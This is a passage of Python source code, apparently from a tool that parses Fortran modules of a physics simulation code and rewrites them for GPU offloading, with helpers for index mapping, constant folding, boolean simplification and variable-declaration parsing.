self.profile_mappings = {\n # \"sinth\": \"PROFILE_Y\", \n # \"cosph\": \"PROFILE_Z\",\n # \"costh\":\"PROFILE_Y\",\n # \"sinph\":\"PROFILE_Z\",\n # \"x\":\"PROFILE_X\",\n # \"y\":\"PROFILE_Y\",\n # \"z\": \"PROFILE_Z\",\n # \"dline_1_x\": \"PROFILE_X\",\n # \"dline_1_y\": \"PROFILE_Y\",\n # \"dline_1_z\": \"PROFILE_Z\",\n # \"etatotal\": \"PROFILE_X\",\n # \"cs2cool_x\": \"PROFILE_X\",\n # \"cs2mxy\": \"PROFILE_XY\",\n # \"cs2mx\": \"PROFILE_X\",\n # }\n self.func_info = {}\n self.file_info = {}\n self.module_info = {}\n self.static_variables = {}\n self.rename_dict = {}\n self.lines = {}\n self.parsed_files_for_static_variables = []\n self.parsed_modules = []\n self.parsed_subroutines = []\n self.loaded_files = []\n self.subroutine_order = 0\n self.used_files = []\n self.found_function_calls = []\n self.used_files = files \n self.used_static_variables = []\n self.functions_in_file = {}\n self.static_writes = []\n self.rewritten_functions = {}\n self.directory = config[\"directory\"]\n self.subroutine_modifies_param = {}\n self.struct_table = {}\n self.module_variables = {}\n ignored_files = []\n self.get_chosen_modules(config[\"Makefile\"])\n self.ignored_modules = [\"hdf5\"]\n self.ignored_files = [\"nodebug.f90\",\"/boundcond_examples/\",\"deriv_alt.f90\",\"boundcond_alt.f90\", \"diagnostics_outlog.f90\",\"pscalar.f90\", \"/cuda/\", \"/obsolete/\", \"/inactive/\", \"/astaroth/\", \"/pre_and_post_processing/\", \"/scripts/\"]\n # self.ignored_files = [\"nodebug.f90\",\"/boundcond_examples/\",\"deriv_alt.f90\",\"boundcond_alt.f90\", \"diagnostics_outlog.f90\",\"pscalar.f90\", \"/cuda/\", \"/obsolete/\", \"/inactive/\", \"/astaroth/\", \"/initial_condition/\", \"/pre_and_post_processing/\", \"/scripts/\"]\n self.ignored_files.append(\"magnetic_ffreeMHDrel.f90\")\n self.ignored_files.append(\"photoelectric_dust.f90\")\n self.ignored_files.append(\"interstellar_old.f90\")\n self.ignored_files.append(\"spiegel.f90\")\n self.used_files = [file for file in self.used_files if not any([ignored_file in file for ignored_file in self.ignored_files]) and \".f90\" in file]\n self.main_program = f\"{self.directory}/run.f90\"\n if self.offloading:\n if self.chosen_modules[\"energy\"] != \"noenergy\":\n self.used_files = [x for x in self.used_files if \"noenergy.f90\" not in x]\n # for module in [\"energy\"]:\n \n self.not_chosen_files = []\n for file in self.used_files:\n self.get_lines(file)\n self.used_files = [file for file in self.used_files if not self.file_info[file][\"is_program_file\"] and file not in self.not_chosen_files]\n self.used_files.append(self.main_program)\n # self.used_files = list(filter(lambda x: x not in ignored_files and not self.is_program_file(x) and \"/inactive/\" not in x and \"deriv_alt.f90\" not in x and \"diagnostics_outlog.f90\" not in x \"boundcond_alt.f90\" and not re.search(\"cuda\",x) and re.search(\"\\.f90\", x) and not re.search(\"astaroth\",x) and \"/obsolete/\" not in x,self.used_files))\n ##Intrinsic functions\n self.ignored_subroutines = [\"alog10\",\"count\", \"min1\", \"erf\",\"aimag\", \"cmplx\",\"len\", \"inquire\", \"floor\", \"matmul\",\"ceiling\", \"achar\", \"adjustl\", \"index\", \"iabs\",\"tiny\",\"dble\",\"float\",\"nullify\",\"associated\",\"nint\",\"open\",\"close\",\"epsilon\",\"random_seed\",\"modulo\",\"nearest\",\"xor\",\"ishft\",\"iand\",\"ieor\",\"ior\",\"random_number\",\"all\",\"any\",\"deallocate\",\"cshift\",\"allocated\",\"allocate\",\"case\",\"real\",\"int\",\"complex\",\"character\",\"if\",\"elseif\",\"where\",\"while\",\"elsewhere\",\"forall\",\"maxval\", \"minval\", \"dot_product\", \"abs\", \"alog\", \"mod\", \"size\", \"sqrt\", \"sum\",\"isnan\", \"exp\", \"spread\", \"present\", \"trim\", \"sign\",\"min\",\"max\",\"sin\",\"cos\",\"log\",\"log10\",\"tan\",\"tanh\",\"cosh\",\"sinh\",\"asin\",\"acos\",\"atan\",\"atan2\",\"write\",\"read\",\"char\",\"merge\"]\n ##Ask Matthias about these\n self.ignored_subroutines.extend([\"DCONST\",\"fatal_error\", \"terminal_highlight_fatal_error\",\"warning\",\"caller\",\"caller2\", \"coeffsx\",\"coeffsy\",\"coeffsz\",\"r1i\",\"sth1i\",\"yh_\",\"not_implemented\",\"die\",\"deri_3d\",\"u_dot_grad_mat\"])\n \n self.ignored_subroutines.extend(['keep_compiler_quiet','keep_compiler_quiet_r', 'keep_compiler_quiet_r1d', 'keep_compiler_quiet_r2d', 'keep_compiler_quiet_r3d', 'keep_compiler_quiet_r4d', 'keep_compiler_quiet_p', 'keep_compiler_quiet_bc', 'keep_compiler_quiet_sl', 'keep_compiler_quiet_i', 'keep_compiler_quiet_i1d', 'keep_compiler_quiet_i81d', 'keep_compiler_quiet_i2d', 'keep_compiler_quiet_i3d', 'keep_compiler_quiet_l', 'keep_compiler_quiet_l1d', 'keep_compiler_quiet_c', 'keep_compiler_quiet_c1d'])\n self.ignored_subroutines.extend([\"helflux\", \"curflux_ds\"])\n self.ignored_subroutines.extend([\"cffti\",\"cffti1\",\"cfftf\",\"cfftb\",\"kx_fft\",\"ky_fft\"])\n self.ignored_subroutines.extend([\"bc_aa_pot2\"])\n self.ignored_subroutines.extend([\"caller\", \"caller0\", \"caller1\", \"caller2\", \"caller3\", \"caller4\", \"caller5\", \"caller5_str5\"])\n self.ignored_subroutines.append(\"output_penciled_scal_c\")\n self.ignored_subroutines.append(\"output_penciled_vect_c\")\n self.ignored_subroutines.append(\"output_pencil_scal\")\n self.ignored_subroutines.append(\"output_pencil_vect\")\n self.ignored_subroutines.append(\"output_pencil\")\n self.safe_subs_to_remove.append(\"output_pencil\")\n self.ignored_subroutines.append(\"output_profile\")\n self.safe_subs_to_remove.append(\"output_profile\")\n # self.ignored_subroutines.append(\"loptest\")\n self.ignored_subroutines.append(\"result\")\n self.ignored_subroutines.extend([\"timing\",\"inevitably_fatal_error\"])\n #random functions anyways wonky for multithreading\n self.ignored_subroutines.extend([\"random_number_wrapper\",\"random_seed_wrapper\"])\n #mpi subs\n self.ignored_subroutines.extend([\"mpi_allreduce\"])\n #omp subs\n self.ignored_subroutines.extend([\"omp_get_thread_num\"])\n self.modules_in_scope = {}\n self.file = config[\"file\"]\n # for file in self.used_files:\n # self.get_lines(file)\n def replace_variables_multi(self,line, new_vars):\n segments = get_var_name_segments(line,new_vars)\n return self.replace_segments(segments,line,self.map_val_func,{},{\"map_val\": [new_vars[x[0]] for x in segments]})\n def get_der_index(self,index):\n #this whole stuff is really unnecessary since the orig motivation \n #was cause I used the Field() syntax wrongly :////\n if index in [\"iux__mod__cdata\",\"iuy__mod__cdata\",\"iuz__mod__cdata\",\"ilnrho__mod__cdata\",\"iss__mod__cdata\"]:\n return f\"F_{remove_mod(index[1:]).upper()}\"\n else:\n print(\"have to deduce der index\")\n print(index)\n print(index in self.known_values)\n for val in self.known_values:\n if val in index:\n index = replace_variable(index,val,f\"({self.known_values[val]})\")\n index = self.evaluate_indexes(index)\n if index in self.known_ints:\n index = self.known_ints[index]\n if index in [\"iuu__mod__cdata\",\"iux__mod__cdata\",\"iuy__mod__cdata\",\"iuz__mod__cdata\",\"ilnrho__mod__cdata\",\"iss__mod__cdata\"]:\n return f\"F_{remove_mod(index[1:]).upper()}\"\n #if not was able to deduce just keep it as\n return f\"Field({index})\"\n def map_to_new_index(self,index,i,local_variables,line,possible_values=[],make_sure_indexes_safe=False):\n if \":\" in index:\n self.ranges.append((index,i,line))\n if index == \":\":\n if i==0:\n return \"idx.x\"\n elif i==1:\n return \"idx.y\"\n elif i==2:\n return \"idx.z\"\n else:\n print(\"whole range in last f index?\")\n pexit(line)\n lower, upper = [part.strip() for part in index.split(\":\")]\n if index == \"idx.x\":\n return \"idx.x\"\n if index == \"idx.y\":\n return \"idx.y\"\n if index == \"idx.z\":\n return \"idx.z\"\n\n if index == \"1:mx\":\n return \"idx.x\"\n if index == \"1:nx\":\n return \"idx.x\"\n\n if index == \"1:my\":\n return \"idx.y\"\n if index == \"1:ny\":\n return \"idx.y\"\n\n if index == \"1:mz\":\n return \"idx.z\"\n if index == \"1:nz\":\n return \"idx.z\"\n\n elif index == f\"{global_subdomain_range_x_lower}:{global_subdomain_range_x_upper}\":\n return \"idx.x\"\n elif index == f\"{global_subdomain_range_x_lower}+1:{global_subdomain_range_x_upper}+1\":\n return \"idx.x+1\"\n elif index == f\"{global_subdomain_range_x_lower}+2:{global_subdomain_range_x_upper}+2\":\n return \"idx.x+2\"\n elif index == f\"{global_subdomain_range_x_lower}+3:{global_subdomain_range_x_upper}+3\":\n return \"idx.x+3\"\n elif index == f\"{global_subdomain_range_x_lower}-1:{global_subdomain_range_x_upper}-1\":\n return \"idx.x-1\"\n elif index == f\"{global_subdomain_range_x_lower}-2:{global_subdomain_range_x_upper}-2\":\n return \"idx.x-2\"\n elif index == f\"{global_subdomain_range_x_lower}-3:{global_subdomain_range_x_upper}-3\":\n return \"idx.x-3\"\n pexit(\"How to handle f index?: \",index)\n def evaluate_leftover_pencils_as_true(self,lines,local_variables):\n #we assume that the leftover pencils are used to calculated df etc.\n for line_index,line in enumerate(lines):\n if \"if\" in line and \"(\" in line:\n if_calls = [call for call in self.get_function_calls_in_line(line,local_variables) if call[\"function_name\"] == \"if\"]\n if len(if_calls) == 1 and len(if_calls[0][\"parameters\"]) == 1 and \"lpencil__mod__cparam\" in if_calls[0][\"parameters\"][0]:\n lines[line_index] = self.replace_func_call(line,if_calls[0],\"if(.true.)\")\n return lines\n\n def evaluate_integer(self,value):\n \n #pencil specific values known beforehand\n if value in self.known_ints:\n value = self.known_ints[value]\n for mapping in self.flag_mappings:\n if mapping in value:\n value = replace_variable(value,mapping,self.flag_mappings[mapping])\n if value in self.known_values:\n orig_value = value\n while value in self.known_values:\n value = self.known_values[value]\n if \"(\" in value and (\"/\" in value or \"*\" in value):\n pexit(\"/ and * not supported with braces\")\n\n if (\"+\" in value or \"-\" in value) and \"*\" not in value and \"/\" not in value:\n while \"(\" in value:\n start_index = -1\n end_index = -1\n for i,char in enumerate(value):\n if char == \"(\" and end_index<0 and (value[i-1] in \" */-+( \" or i==0) :\n start_index = i\n if char == \")\" and end_index<0 and start_index>-1:\n end_index = i\n if start_index > -1 and end_index >-1:\n inside = self.evaluate_integer(value[start_index+1:end_index])\n res_value = value[:start_index]\n res_value += inside\n res_value += value[end_index+1:]\n value = res_value\n res = \"\"\n sum = 0\n remove_indexes = []\n if value[0].isnumeric():\n remove_indexes.append(0)\n sum += eval(value[0])\n for i in range(1,len(value)):\n last_char = value[i-1]\n char = value[i]\n if last_char == \"+\" and char.isnumeric():\n remove_indexes.extend([i-1,i])\n sum += eval(char)\n if last_char == \"-\" and char.isnumeric():\n remove_indexes.extend([i-1,i])\n sum -= eval(char)\n res_value = \"\"\n for i, char in enumerate(value):\n if i not in remove_indexes:\n res_value += char\n if sum == 0:\n return res_value\n #if neg then - is already there\n if sum < 0:\n return res_value + f\"{sum}\"\n #was able to full constant folding\n if res_value == \"\":\n return f\"{sum}\"\n return res_value + \"+\" + f\"{sum}\"\n if value in self.known_ints:\n value = self.known_ints[value]\n return value\n\n def evaluate_indexes(self,value):\n if value == \":\":\n return \":\"\n print(value)\n if \":\" in value:\n lower,upper = [part.strip() for part in value.split(\":\")]\n lower = self.evaluate_integer(lower)\n upper = self.evaluate_integer(upper)\n #remove unnecessary ranges\n if lower == upper:\n return lower\n return f\"{lower}:{upper}\"\n return self.evaluate_integer(value)\n def evaluate_boolean(self,value,local_variables,func_calls):\n val = self.evaluate_boolean_helper(value,local_variables,func_calls)\n if val not in [\".true.\", \".false.\"]:\n return value\n return val\n def evaluate_boolean_helper(self,value,local_variables,func_calls):\n if value in self.known_bools:\n return self.known_bools[value]\n if value == f\"{global_subdomain_range_with_halos_x}>{global_subdomain_range_x}\":\n return \".true.\"\n #don't want to parse braces yet\n if \"(\" in value:\n #not handling unsupported func calls\n if len(func_calls)>0:\n # print(\"unsupported func call in evaluate_boolean\",value)\n return value\n start_index = -1\n end_index = -1\n #gets the most nested braces\n for i,char in enumerate(value):\n if char == \"(\" and end_index<0 and (value[i-1] in \".( \" or i==0) :\n start_index = i\n if char == \")\" and end_index<0 and start_index>-1:\n end_index = i\n if start_index > -1 and end_index >-1:\n inside = self.evaluate_boolean_helper(value[start_index+1:end_index],local_variables,func_calls)\n res_value = value[:start_index]\n if inside in [\".true.\",\".false.\"]:\n res_value += inside\n else:\n res_value += \"ldon't_know\"\n res_value += value[end_index+1:]\n res = self.evaluate_boolean_helper(res_value,local_variables,func_calls)\n #if was not able to deduce abort\n # if not has_balanced_parens(value):\n # print(\"not balanced\")\n # print(value)\n # print(\"---->\")\n # print(res)\n if \"ldon't_know\" in res:\n return value\n value = res\n if \".and.\" in value:\n parts = [self.evaluate_boolean_helper(part.strip(),local_variables,func_calls) for part in value.split(\".and.\")]\n all_true = all([part == \".true.\" for part in parts])\n some_false = any([part == \".false.\" for part in parts])\n if all_true:\n return \".true.\"\n elif some_false:\n return \".false.\"\n else:\n return value\n elif \".or.\" in value:\n parts = [self.evaluate_boolean_helper(part.strip(),local_variables,func_calls) for part in value.split(\".or.\")]\n some_true= any([part == \".true.\" for part in parts])\n all_false= all([part == \".false.\" for part in parts])\n if some_true:\n return \".true.\"\n elif all_false:\n return \".false.\"\n else:\n return value\n elif \".not.\" in value:\n return opposite(self.evaluate_boolean_helper(value.replace(\".not.\",\"\").strip(),local_variables,func_calls),value)\n if \">\" in value and len(value.split(\">\")) == 2:\n lhs, rhs = [part.strip() for part in value.split(\">\")]\n #integer and float comparison\n if lhs.replace(\".\",\"\").replace(\"-\",\"\").isnumeric() and rhs.replace(\".\",\"\").replace(\"-\",\"\").isnumeric():\n return \".true.\" if ((eval(lhs)-eval(rhs)) > 0) else \".false.\"\n else:\n return value\n if \"<\" in value and len(value.split(\"<\")) == 2:\n return opposite(self.evaluate_boolean_helper(value.replace(\"<\",\">\",1),local_variables,func_calls),value)\n if \"==\" in value and len(value.split(\"==\")) == 2:\n lhs, rhs = [part.strip() for part in value.split(\"==\")]\n if lhs == rhs:\n return \".true.\"\n if lhs==\".false.\" and rhs == \".true.\":\n return \".false.\"\n if lhs == \".true.\" and rhs == \".false.\":\n return \".false.\"\n if lhs == \".false.\" and rhs == \".false.\":\n return \".true.\"\n if lhs == \".true.\" and rhs == \".true.\":\n return \".true\"\n elif lhs.isnumeric() and rhs.isnumeric() and lhs != rhs:\n return \".false.\"\n elif lhs == \"0.\" and rhs == \"0.0\":\n return \".true.\"\n #integer and float comparison\n elif lhs.replace(\".\",\"\").replace(\"-\",\"\").isnumeric() and rhs.replace(\".\",\"\").replace(\"-\",\"\").isnumeric():\n return \".true.\" if ((eval(lhs)-eval(rhs)) == 0) else \".false.\"\n #string comparison\n elif lhs[0] == \"'\" and lhs[-1] == \"'\" and rhs[0] == \"'\" and rhs[-1] == \"'\":\n if lhs == rhs:\n return \".true.\"\n else:\n return \".false.\"\n #TOP /= BOT\n elif lhs == \"top\" and rhs == \"bot\":\n return \".false.\"\n #no less than 3d runs\n elif lhs in [\"nxgrid\",\"nygrid\",\"nzgrid\",\"nwgrid__mod__cparam\"] and rhs in [\"1\"]:\n return \".false.\"\n else:\n return value\n if \"/=\" in value and len(value.split(\"/=\")) == 2:\n return opposite(self.evaluate_boolean_helper(value.replace(\"/=\",\"==\",1),local_variables,func_calls),value)\n return value\n def find_module_files(self, module_name):\n #external library\n if module_name not in self.module_info:\n return []\n return self.module_info[module_name][\"files\"]\n\n def find_subroutine_files(self, subroutine_name):\n #Workaround since don't have time to copypaste since some files say they support functions which they don't support\n if \"interface_funcs\" in self.func_info[subroutine_name]:\n return self.func_info[subroutine_name][\"files\"]\n res = [file for file in self.func_info[subroutine_name][\"files\"] if file in self.func_info[subroutine_name][\"lines\"]]\n res.extend([file for file in self.func_info[subroutine_name][\"lines\"]])\n return res\n # return [file for file in self.func_info[subroutine_name][\"files\"] if file in self.func_info[subroutine_name][\"lines\"]]\n\n def parse_module(self, module_name):\n if module_name not in self.parsed_modules:\n self.parsed_modules.append(module_name)\n file_paths = self.find_module_files(module_name)\n for file_path in file_paths:\n self.parse_file_for_static_variables(file_path)\n\n def get_chosen_modules(self,makefile):\n self.chosen_modules = {}\n if makefile:\n lines = [line.strip().lower() for line in open(makefile,'r').readlines() if line.strip() != \"\" and line.strip()[0] != \"#\" and line.split(\"=\")[0].strip() != \"REAL_PRECISION\"] \n for line in lines:\n if len(line.split(\"=\")) == 2:\n variable = line.split(\"=\")[0].strip()\n value = line.split(\"=\")[1].strip()\n self.chosen_modules[variable] = value\n if variable == \"density\":\n self.chosen_modules[\"density_methods\"] = f\"{value}_methods\"\n if variable == \"eos\":\n self.chosen_modules[\"equationofstate\"] = f\"{value}\"\n if variable == \"entropy\":\n self.chosen_modules[\"energy\"] = f\"{value}\"\n\n def get_array_segments_in_line(self,line,variables):\n array_vars = self.get_arrays_in_line(line,variables)\n res = get_variable_segments(line, array_vars)\n return sorted(res, key = second_val)\n def get_struct_segments_in_line(self,line,variables):\n search_vars = []\n save_var = False\n buffer = \"\"\n for char in line:\n if char == \"%\":\n save_var = True\n if not(char.isalpha() or char.isnumeric()) and char not in \"%_\":\n if save_var:\n search_vars.append(buffer.strip())\n save_var = False\n buffer = \"\"\n else:\n buffer = buffer + char\n if save_var:\n search_vars.append(buffer.strip())\n return [seg for seg in get_variable_segments(line,search_vars) if seg[0] != \"\"]\n def get_arrays_in_line(self,line,variables):\n variables_in_line= get_used_variables_from_line(line)\n res = []\n for var in variables_in_line:\n if var in variables and len(variables[var][\"dims\"]) > 0:\n res.append(var)\n return res\n\n\n def parse_line(self, line):\n if len(line) == 0:\n return line\n if line[0] == \"!\":\n return line.strip().lower()\n if \"!\" not in line:\n return line.strip().lower()\n ## remove comment at end of the line\n iter_index = len(line)-1;\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n for iter_index in range(len(line)):\n if line[iter_index] == \"'\":\n num_of_single_quotes += 1\n if line[iter_index] == '\"':\n num_of_double_quotes += 1\n if line[iter_index] == \"!\" and num_of_single_quotes%2 == 0 and num_of_double_quotes%2 == 0 and (iter_index+1==len(line) or line[iter_index+1] != \"=\"):\n line = line[0:iter_index]\n break \n return line.strip().lower()\n def add_write(self, variable, line_num, is_local, filename, call_trace, line):\n self.static_writes.append({\"variable\": variable, \"line_num\": line_num, \"local\": is_local, \"filename\": filename, \"call_trace\": call_trace, \"line\": line})\n if is_local and variable:\n if get_func_from_trace(call_trace) not in [\"div\",\"get_reaction_rate\"]:\n pass\n # print(\"local static write\",write)\n # print(\"abort!\")\n # print(self.static_writes[-1])\n # exit()\n else:\n checked_local_writes.append({\"variable\": variable, \"line_num\": line_num, \"local\": is_local, \"filename\": filename, \"call_trace\": call_trace, \"line\": line})\n\n\n def get_pars_lines(self,prefix, name, lines):\n res = []\n in_pars = False\n for line in lines:\n line = line.strip().lower()\n if in_pars and line == \"/\":\n in_pars = False\n if in_pars:\n res.append(line)\n if f\"&{name}{prefix}_pars\" in line:\n in_pars = True\n res.append(line.replace(f\"&{name}{prefix}_pars\",\"\").replace(\"/\",\"\").strip())\n #/ is replaced since it represents the end of line\n return [line.replace(\"/\",\"\").strip() for line in res]\n def get_flags_from_lines(self,lines):\n for module in [\"grav\",\"density\",\"magnetic\",\"hydro\",\"entropy\",\"viscosity\",\"eos\",\"\"]:\n if module:\n prefixes = [\"_init\",\"_run\"]\n else:\n prefixes = [\"init\",\"run\"]\n for prefix in prefixes:\n grav_lines = self.get_pars_lines(prefix, module,lines)\n res_lines = []\n for line in grav_lines:\n res_line = line\n if len(res_line) >0 and res_line[-1] == \",\":\n res_line = res_line[:-1]\n res_lines.append(res_line)\n grav_lines = res_lines\n grav_writes = self.get_writes(grav_lines,False)\n if module:\n mod = get_mod_from_physics_name(module)\n for write in grav_writes:\n if write[\"variable\"] in self.rename_dict[mod]:\n write[\"variable\"] = self.rename_dict[mod][write[\"variable\"]]\n else:\n pos_mod = self.get_module_where_declared(write[\"variable\"],self.get_module_file(mod))\n write[\"variable\"] = self.rename_dict[pos_mod][write[\"variable\"]]\n else:\n for write in grav_writes:\n pos_mod = self.get_module_where_declared(write[\"variable\"],f\"{self.directory}/param_io.f90\")\n write[\"variable\"] = self.rename_dict[pos_mod][write[\"variable\"]]\n for write in grav_writes:\n if write[\"value\"] == \"t\":\n self.flag_mappings[write[\"variable\"]] = \".true.\"\n elif write[\"value\"] == \"f\":\n self.flag_mappings[write[\"variable\"]] = \".false.\"\n elif \"'\" in write[\"value\"] and \",\" not in write[\"value\"] and \"*\" not in write[\"value\"]:\n parsed_value = \"'\" + write[\"value\"].replace(\"'\",\"\").strip() +\"'\"\n self.flag_mappings[write[\"variable\"]] = parsed_value\n #impossible value\n elif write[\"value\"] == \"3.908499939e+37\":\n self.flag_mappings[write[\"variable\"]] = \"impossible\"\n else:\n self.flag_mappings[write[\"variable\"]] = write[\"value\"]\n def get_variables_from_line(self, line,line_num,variables,filename,module,local,in_public):\n parts = [part.strip() for part in line.split(\"::\")]\n start = parts[0].strip()\n type = start.split(\",\")[0].strip()\n #public declaration not a variable declaration\n is_public_declaration = False\n if type == \"public\":\n is_public_declaration = True\n allocatable = \"allocatable\" in [x.strip() for x in start.split(\",\")]\n saved_variable = \"save\" in [x.strip() for x in start.split(\",\")]\n public = \"public\" in [x.strip() for x in start.split(\",\")]\n is_parameter = \"parameter\" in [x.strip() for x in start.split(\",\")]\n writes = []\n if is_parameter or \"=\" in line:\n writes = self.get_writes_from_line(line)\n is_optional = \"optional\" in [x.strip() for x in start.split(\",\")]\n dimension = []\n if \"dimension\" in start:\n _, end = [(m.start(0), m.end(0)) for m in re.finditer(\"dimension\", start)][0]\n while start[end] != \"(\":\n end = end + 1\n rest_of_line = start[end+1:]\n num_of_left_brackets = 1\n num_of_right_brackets= 0\n index = \"\"\n i = 0\n while num_of_left_brackets != num_of_right_brackets:\n char = rest_of_line[i]\n if char == \"(\":\n num_of_left_brackets = num_of_left_brackets + 1\n if char == \")\":\n num_of_right_brackets = num_of_right_brackets + 1\n if char == \",\" and num_of_left_brackets == num_of_right_brackets + 1: \n dimension.append(index.strip())\n index = \"\"\n else:\n index = index + char\n i = i +1\n index = index[:-1]\n dimension.append(index.strip())\n line_variables = parts[1].strip()\n variable_names = [name.lower().strip().split(\"(\")[0].strip() for name in self.get_variable_names_from_line(line_variables)]\n if is_public_declaration or in_public:\n if \"public_variables\" not in self.module_info[module]:\n self.module_info[module][\"public_variables\"] = []\n for name in variable_names:\n self.module_info[module][\"public_variables\"].append(name)\n if is_public_declaration:\n return\n #add internal names first for offloading\n if self.offloading:\n if module and not local:\n for name in variable_names:\n self.rename_dict[module][name] = get_mod_name(name,module)\n # print(line)\n # print(filename)\n assert(module != \"density\" or name != \"chi\")\n #don't rewrite local variables\n variable_names = [get_mod_name(name,module) for name in variable_names]\n if writes:\n for x in writes:\n x[\"variable\"] = get_mod_name(x[\"variable\"],module)\n for i, variable_name in enumerate(variable_names):\n dims = dimension\n search = re.search(f\"{variable_name}\\(((.*?))\\)\",line) \n ## check if line is only specifying intent(in) or intent(out)\n if search:\n dims = [index.strip() for index in search.group(1).split(\",\")]\n ## get first part of .split(\" \") if f.e. character len(something)\n type = type.split(\" \")[0].strip()\n #filter intent(in) and intent(inout)\n if \"intent(\" not in type and \".true.\" not in variable_name and \".false.\" not in variable_name:\n #if struct type parse more to get the type\n if \"type\" in type:\n struct_type = re.search(\"\\((.+?)\\)\",line).group(1)\n type = struct_type\n if \"(\" in type:\n type = type.split(\"(\")[0].strip()\n if \"rkind8\" in line and type == \"real\":\n type = \"double\"\n type = type.lower()\n var_object = {\"type\": type, \"dims\": dims, \"allocatable\": allocatable, \"origin\": [filename], \"public\": public, \"threadprivate\": False, \"saved_variable\": (saved_variable or \"=\" in line_variables.split(\",\")[i]), \"parameter\": is_parameter, \"on_target\": False, \"optional\": is_optional, \"line_num\": line_num}\n if is_parameter or \"=\" in line:\n var_writes = [x for x in writes if x[\"variable\"] == variable_name and \"kind\" not in x[\"value\"]]\n #these have meaning to Astaroth\n if len(var_writes) == 1 and dims==[]:\n var_object[\"value\"] = var_writes[0][\"value\"]\n # if type in [\"integer\",\"real\"]:\n # var_object[\"value\"] = f\"({var_object['value']})\"\n if variable_name not in variables:\n variables[variable_name] = var_object\n else:\n variables[variable_name][\"origin\"].append(filename)\n #NOTE: unsafe hack rework later\n #if variables with same name assume that the pointer will point to this later\n if variables[variable_name][\"dims\"] == [\":\"]:\n variables[variable_name][\"dims\"] = dims\n variables[variable_name][\"origin\"] = unique_list(variables[variable_name][\"origin\"])\n if module and not local:\n if module not in self.module_variables:\n self.module_variables[module] = {}\n if variable_name not in self.module_variables[module]:\n self.module_variables[module][variable_name] = var_object\n else:\n self.module_variables[module][variable_name][\"origin\"].append(filename)\n self.module_variables[module][variable_name][\"origin\"] = unique_list(variables[variable_name][\"origin\"])\n if filename and not local:\n if filename not in self.file_info:\n self.file_info[filename] = {}\n if variable_name not in self.file_info[filename][\"variables\"]:\n self.file_info[filename][\"variables\"][variable_name] = var_object\n\n def get_lines(self, filepath, start_range=0, end_range=math.inf, include_comments=False):\n if filepath not in self.lines.keys():\n in_sub_name = None \n lines = []\n start = False\n has_module_line = False\n has_program_line = False\n in_static_variables_declaration = False\n in_struct = False\n in_public = True \n struct_name = \"\"\n read_lines = []\n\n\n with open(filepath,\"r\") as file:\n for x in file:\n line = self.parse_line(x)\n read_lines.append(line)\n match = re.search(\"include\\s+(.+\\.(h|inc))\",line)\n if match and line[0] != \"!\":\n header_filename = match.group(1).replace(\"'\",\"\").replace('\"',\"\")\n header_filepath = filepath.rsplit(\"/\",1)[0].strip() + \"/\" + header_filename\n if os.path.isfile(header_filepath):\n with open(header_filepath, 'r') as header_file:\n for x in header_file:\n read_lines.append(self.parse_line(x))\n index = 0\n self.file_info[filepath] = {\"is_program_file\": False,\"used_modules\":{},\"variables\": {}}\n while index0:\n #take care the case that the line continues after end of the line\n if line[-1] == \"&\" and line[0] != \"!\":\n while line[-1] == \"&\":\n index += 1\n next_line = read_lines[index].strip()\n if len(next_line)>0 and next_line[0] != \"!\":\n line = (line[:-1] + \" \" + self.parse_line(next_line)).strip()\n # split multilines i.e. fsdfaf;fasdfsdf; into their own lines for easier parsing\n if \";\" in line:\n parts = self.split_line(line)\n else:\n parts = [line]\n for line in parts:\n if line[0] != '!':\n search_line = line.lower().strip()\n\n if \"program\" in search_line:\n has_program_line = True\n self.file_info[filepath][\"is_program_file\"] = True\n #don't need to rest since this file will not be used\n if filepath != self.main_program:\n return\n if search_line.split(\" \")[0].strip() == \"module\" and search_line.split(\" \")[1].strip() != \"procedure\":\n has_module_line = True\n in_static_variables_declaration = True\n module_name = search_line.split(\" \")[1].strip()\n #choose only the chosen module files\n if module_name in [\"special\",\"density\",\"energy\",\"hydro\",\"gravity\",\"viscosity\",\"poisson\",\"weno_transport\"] and self.chosen_modules[module_name] not in filepath:\n self.not_chosen_files.append(filepath)\n return\n if module_name not in self.module_info:\n self.module_info[module_name] = {\"public_variables\": []}\n if module_name not in self.rename_dict:\n self.rename_dict[module_name] = {}\n if \"files\" not in self.module_info[module_name]:\n self.module_info[module_name][\"files\"] = []\n self.module_info[module_name][\"files\"].append(filepath)\n if filepath not in self.file_info:\n self.file_info[filepath] = {}\n self.file_info[filepath][\"module\"] = module_name\n if not in_sub_name:\n search = re.search(f\"\\s?subroutine\\s*([a-zA-Z0-9_-]*?)($|\\s|\\()\", search_line)\n if(search and \"subroutine\" in search_line):\n sub_name = search.groups()[0].strip()\n if sub_name not in self.func_info:\n self.func_info[sub_name] = {}\n if \"lines\" not in self.func_info[sub_name]:\n self.func_info[sub_name][\"lines\"] = {}\n self.func_info[sub_name][\"lines\"][filepath] = []\n if \"files\" not in self.func_info[sub_name]:\n self.func_info[sub_name][\"files\"] = []\n in_sub_name = sub_name\n start = True\n search = re.search(f\"\\s?function\\s*([a-zA-Z0-9_-]*?)($|\\s|\\()\", search_line)\n if(search and \"function\" in search_line):\n sub_name = search.groups()[0].strip()\n if sub_name not in self.func_info:\n self.func_info[sub_name] = {}\n if \"lines\" not in self.func_info[sub_name]:\n self.func_info[sub_name][\"lines\"] = {}\n self.func_info[sub_name][\"lines\"][filepath] = []\n if \"files\" not in self.func_info[sub_name]:\n self.func_info[sub_name][\"files\"] = []\n in_sub_name = sub_name\n start = True\n if in_sub_name and not start:\n if(\"end subroutine\" in search_line or \"endsubroutine\" in search_line or \"end function\" in search_line or \"endfunction\" in search_line):\n self.func_info[in_sub_name][\"lines\"][filepath].append(self.parse_line(line))\n mod_name = get_mod_name(in_sub_name,module_name)\n if mod_name not in self.func_info:\n self.func_info[mod_name] = {\"files\": [], \"lines\": {}}\n if \"lines\" not in self.func_info[mod_name]:\n self.func_info[mod_name][\"lines\"] = {}\n if \"files\" not in self.func_info[mod_name]:\n self.func_info[mod_name][\"files\"] = []\n self.func_info[mod_name][\"files\"].append(filepath)\n self.func_info[mod_name][\"lines\"][filepath] = self.func_info[in_sub_name][\"lines\"][filepath].copy()\n self.func_info[mod_name][\"lines\"][filepath][0] = self.func_info[mod_name][\"lines\"][filepath][0].replace(in_sub_name,mod_name)\n self.func_info[mod_name][\"lines\"][filepath][-1] = self.func_info[mod_name][\"lines\"][filepath][-1].replace(in_sub_name,mod_name)\n in_sub_name = None\n if \"interface\" in line:\n iter_index = index\n res_line = line.lower()\n if res_line.split(\" \")[0].strip() == \"interface\" and len(res_line.split(\" \"))>1:\n sub_name = res_line.split(\" \")[1].strip()\n if sub_name not in self.func_info:\n 